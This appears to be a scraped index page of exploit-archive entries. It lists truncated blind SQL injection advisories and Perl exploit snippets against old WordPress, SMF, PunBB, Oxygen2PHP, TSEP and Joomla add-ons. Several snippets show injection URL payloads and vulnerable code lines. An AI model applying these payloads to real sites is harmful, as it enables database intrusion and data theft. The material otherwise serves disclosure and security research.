WordPress Related Sites Plugin 2.1 - Blind SQL Injection Vulnerability

A critical blind SQL vulnerability has been discovered in the WordPress Plugin Related Sites plugin. User input is not being sanitized in BTERWwebajax.php file line 27, therefore the attacker can inject SQL via POST. Solution Update plugin...

WordPress Plugin Related Sites 2.1 Blind SQL Injection Vulnerability

Exploit for unknown platform in category web applications ==================================================================== WordPress Plugin Related Sites 2.1 Blind SQL Injection Vulnerability ==================================================================== WordPress Plugin Related Sites 2...

tsep 0.942.02 - Multiple Vulnerabilities

tsep 0.942.02 - Multiple Vulnerabilities TSEP "0" && $percent = "100" 62: $sqlins = "INSERT INTO $dbtablename alttag,display,valuepercent,imageshow,comment 63: VALUES '$alt','$display',...

WordPress Plugin Related Sites 2.1 - Blind SQL Injection

WordPress Plugin Related Sites 2.1 - Blind SQL Injection WordPress Plugin Related Sites 2.1 BlindSQLinj Vuln http://wordpress.org/extend/plugins/related-sites/ /wp-content/plugins/related-sites/BTERWwebajax.php eLwauxc 30.05.2009, uasc.org.ua SQL-Inj 27: $guid = $POST'guid'; 28: $click =...

SMF Mod Member Awards 1.0.2 Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ======================================================= SMF Mod Member Awards 1.0.2 Blind SQL Injection Exploit ======================================================= -----------------------------------------------------------------------...

SMF Mod Member Awards 1.0.2 - Blind SQL Injection

SMF Mod Member Awards 1.0.2 - Blind SQL Injection ------------------------------------------------------------------------- SMF Component Member Awards Blind SQL-injection Vulnerability ------------------------------------------------------------------------- author: eLwaux thanks: mailbrush,...

PunBB Affiliates Mod <= 1.1 Remote Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ============================================================== PunBB Affiliates Mod newGET = $Host; my $HTTP = new LWP::UserAgent; my $Referrer = "http://warwolfz.altervista.org/"; my $DefaultTime = request$Referrer; sub BlindSQLJnjection ...

TSEP <= 0.942.02 Multiple Remote Vulnerabilities

Exploit for unknown platform in category web applications ================================================ TSEP = 0.942.02 Multiple Remote Vulnerabilities ================================================ TSEP =0.942.02 Vulnerabilities http://tsep.sourceforge.net Dork: "powered by TSEP - The Searc...

tsep 0.942.02 - Multiple Vulnerabilities

TSEP "0" && $percent = "100" 62: $sqlins = "INSERT INTO $dbtablename alttag,display,valuepercent,imageshow,comment 63: VALUES '$alt','$display','$percent','$imageshow','$comment'"; 64:...

WordPress Plugin Related Sites 2.1 - Blind SQL Injection

WordPress Plugin Related Sites 2.1 BlindSQLinj Vuln http://wordpress.org/extend/plugins/related-sites/ /wp-content/plugins/related-sites/BTERWwebajax.php eLwauxc 30.05.2009, uasc.org.ua SQL-Inj 27: $guid = $POST'guid'; 28: $click = $POST'click'; 31: $ref = $SERVER"HTTPREFERER"; 40: if $guid!="" &...

SMF Mod Member Awards 1.0.2 - Blind SQL Injection

------------------------------------------------------------------------- SMF Component Member Awards Blind SQL-injection Vulnerability ------------------------------------------------------------------------- author: eLwaux thanks: mailbrush, antichat.ru, uasc.org.ua...

PunBB Extension Vote For Us 1.0.1 - Blind SQL Injection

!/usr/bin/perl 0-Day PunBB VoteForUs.php OUT Mod newGET = $Host; my $HTTP = new LWP::UserAgent; my $Referrer = "http://warwolfz.altervista.org/"; my $DefaultTime = request$Referrer; sub BlindSQLJnjection my $dec,$hex = @; return "./voteforus.php?out=-1+OR+1!=SELECT...

PunBB Affiliates Mod 1.1 - Blind SQL Injection

!/usr/bin/perl 0-Day PunBB Affiliations.php OUT Mod newGET = $Host; my $HTTP = new LWP::UserAgent; my $Referrer = "http://warwolfz.altervista.org/"; my $DefaultTime = request$Referrer; sub BlindSQLJnjection my $dec,$hex = @; return "./affiliates.php?out=-1+OR+1!=SELECT...

PunBB VoteForUs.php Blind SQL Injection

!/usr/bin/perl 0-Day PunBB VoteForUs.php IN Mod newGET = $Host; my $HTTP = new LWP::UserAgent; my $Referrer = "http://warwolfz.altervista.org/"; my $DefaultTime = request$Referrer; sub BlindSQLJnjection my $dec,$hex = @; return "./voteforus.php?in=-1+OR+1!=SELECT...

PunBB VoteForUs.php OUT 1.0.1 Blind SQL Injection

!/usr/bin/perl 0-Day PunBB VoteForUs.php OUT Mod newGET = $Host; my $HTTP = new LWP::UserAgent; my $Referrer = "http://warwolfz.altervista.org/"; my $DefaultTime = request$Referrer; sub BlindSQLJnjection my $dec,$hex = @; return "./voteforus.php?out=-1+OR+1!=SELECT...

Oxygen2PHP 1.1.3 post.php Blind SQL Injection

!/usr/bin/perl 0-Day Oxygen2PHP newGET = $Host; my $HTTP = new LWP::UserAgent; my $Referrer = "http://warwolfz.altervista.org/"; my $DefaultTime = request$Referrer; sub BlindSQLJnjection my $dec,$hex = @; return "./post.php?action=newthread&fid='+OR+1!=SELECT...

Oxygen2PHP 1.1.3 Blind SQL Injection

!/usr/bin/perl 0-Day Oxygen2PHP newGET = $Host; my $HTTP = new LWP::UserAgent; my $Referrer = "http://warwolfz.altervista.org/"; my $DefaultTime = request$Referrer; sub BlindSQLJnjection my $dec,$hex = @; return "./forumdisplay.php?fid=-1'+OR+1!=SELECT...

Joomla! Component com_php - id Blind SQL Injection

Joomla! Component comphp - id Blind SQL Injection ------------------------------------------------------------------------------ Joomla Component comphp id Blind SQL-injection Vulnerability ------------------------------------------------------------------------------ + Author : Chip D3 Bi0s +...

Joomla Component com_php (id) Blind SQL Injection Vulnerability

Exploit for unknown platform in category web applications =============================================================== Joomla Component comphp id Blind SQL Injection Vulnerability ===============================================================...

Joomla PHP Component SQL Injection

------------------------------------------------------------------------------ Joomla Component comphp id Blind SQL-injection Vulnerability ------------------------------------------------------------------------------ + Author : Chip D3 Bi0s + Email : chipdebiosalt+64gmail.com + Vulnerability :...